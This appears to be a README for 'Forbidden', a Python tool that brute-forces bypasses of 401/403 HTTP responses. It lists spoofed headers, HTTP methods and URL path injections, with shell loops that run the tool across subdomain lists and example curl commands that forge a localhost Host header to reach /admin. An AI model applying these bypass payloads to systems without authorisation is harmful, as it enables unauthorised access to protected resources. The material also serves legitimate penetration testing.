Forbidden : Bypass 4Xx HTTP Response Status Codes

Forbidden is to Bypass 4xx HTTP response status codes. Based on PycURL.

Script uses multithreading, and is based on brute forcing so might have some false positives. Script uses colored output.

Results will be sorted by HTTP response status code ascending, content length descending, and ID ascending.

To filter out false positives, check each content length manually with the provided cURL command. If it does not results in bypass, just ignore all other results with the same content length.

Test	Scope
Various HTTP methods	method
Various HTTP methods with ‘Content-Length: 0’ header	method
Cross-site tracing (XST) with HTTP TRACE and TRACK methods	method
File upload with HTTP PUT method	method
Various HTTP method overrides	method-override
Various HTTP headers	header
Various URL overrides	header
URL override with two ‘Host’ headers	header
Various URL path bypasses	path
Various URL scheme overrides	scheme-override
Basic authentication/authorization including null session	auth
Broken URL parsers	parser

Extend this script to your liking.

Good sources for HTTP headers:

Common HTTP Response Headers

Tested on Kali Linux v2021.4 (64-bit).

Made for educational purposes. I hope it will help!

Future plans:

add option to test only allowed HTTP methods,
add option to test a specific/custom HTTP header for all the domains/subdomains,
add option to test less common/application specific HTTP headers,
separate HTTP headers in categories to reduce false positive results,
do not ignore URL parameters and fragments.

How to Run

Open your preferred console from /src/ and run the commands shown below.

Install required tools:

apt-get install -y curl

Install required packages:

pip3 install -r requirements.txt

Run the script:

python3 forbidden.py

Be aware of rate limiting. Give it some time before you run the script again for the same domain in order to get better results.

Some websites require a user agent header. Download a user agent list from here.

Automation

Bypass 403 Forbidden HTTP response status code:

count=0; for subdomain in $(cat subdomains_403.txt); do count=$((count+1)); echo “#${count} | ${subdomain}”; python3 forbidden.py -u “${subdomain}” -t method,method-override,header,path,scheme-override -f GET -o “forbidden_403_results_${count}.json”; done

Bypass 401 Unauthorized HTTP response status code:

count=0; for subdomain in $(cat subdomains_401.txt); do count=$((count+1)); echo “#${count} | ${subdomain}”; python3 forbidden.py -u “${subdomain}” -t auth -f GET -o “forbidden_401_results_${count}.json”; done

Broken URL parser check:

count=0; for subdomain in $(cat subdomains_live_long.txt); do count=$((count+1)); echo “#${count} | ${subdomain}”; python3 forbidden.py -u “${subdomain}” -t parser -f GET -o “forbidden_parser_results_${count}.json”; done

HTTP Methods

ACL
ARBITRARY
BASELINE-CONTROL
BIND
CHECKIN
CHECKOUT
CONNECT
COPY
DELETE
GET
HEAD
INDEX
LABEL
LINK
LOCK
MERGE
MKACTIVITY
MKCALENDAR
MKCOL
MKREDIRECTREF
MKWORKSPACE
MOVE
OPTIONS
ORDERPATCH
PATCH
POST
PRI
PROPFIND
PROPPATCH
PUT
REBIND
REPORT
SEARCH
SHOWMETHOD
SPACEJUMP
TEXTSEARCH
TRACE
TRACK
UNBIND
UNCHECKOUT
UNLINK
UNLOCK
UPDATE
UPDATEREDIRECTREF
VERSION-CONTROL

HTTP Headers

Method override HTTP headers:

X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override

HTTP headers:

Client-IP
Cluster-Client-IP
Connection
Contact
Forwarded
Forwarded-For
Forwarded-For-Ip
From
Host
Origin
Referer
Stuff
True-Client-IP
X-Client-IP
X-Custom-IP-Authorization
X-Forward
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Server
X-Forward-For
X-Forwared-Host
X-Host
X-HTTP-Host-Override
X-Original-URL
X-Originating-IP
X-Override-URL
X-ProxyUser-IP
X-Real-IP
X-Remote-Addr
X-Remote-IP
X-Rewrite-URL
X-Wap-Profile
X-Server-IP
X-Target

Scheme override HTTP headers:

X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Url-Scheme
X-URLSCHEME

URL Paths

Inject in front, back, and both front and back of URL path; with and without prepending and appending slashes.

/
//
%09
%20
%2e
.
..
;
.;
..;
;foo=bar;

Inject in back of URL path.

~
random
*
**
**random
###random
?
??
??random

Inject in back of URL path only if URL path does not end with ‘/’.

.php
.jsp
.jspa
.jspx
.jhtml
.html
.sht
.shtml
.xhtml
.asp
.aspx
.esp

Results Format

[
{
“id”:501,
“url”:”http://example.com:80/admin”,
“method”:”GET”,
“headers”:[
“Host: 127.0.0.1”
],
“agent”:”Forbidden/5.4″,
“proxy”:null,
“data”:null,
“command”:”curl -m 5 –connect-timeout 5 -i -s -k -L –path-as-is -H ‘Host: 127.0.0.1’ -H ‘User-Agent: Forbidden/5.4’ -X ‘GET’ ‘http://example.com:80/admin'”,
“code”:200,
“length”:255408
},
{
“id”:541,
“url”:”http://example.com:80/admin”,
“method”:”GET”,
“headers”:[
“Host: 127.0.0.1:80”
],
“agent”:”Forbidden/5.4″,
“proxy”:null,
“data”:null,
“command”:”curl -m 5 –connect-timeout 5 -i -s -k -L –path-as-is -H ‘Host: 127.0.0.1:80’ -H ‘User-Agent: Forbidden/5.4’ -X ‘GET’ ‘http://example.com:80/admin'”,
“code”:200,
“length”:255408
}
]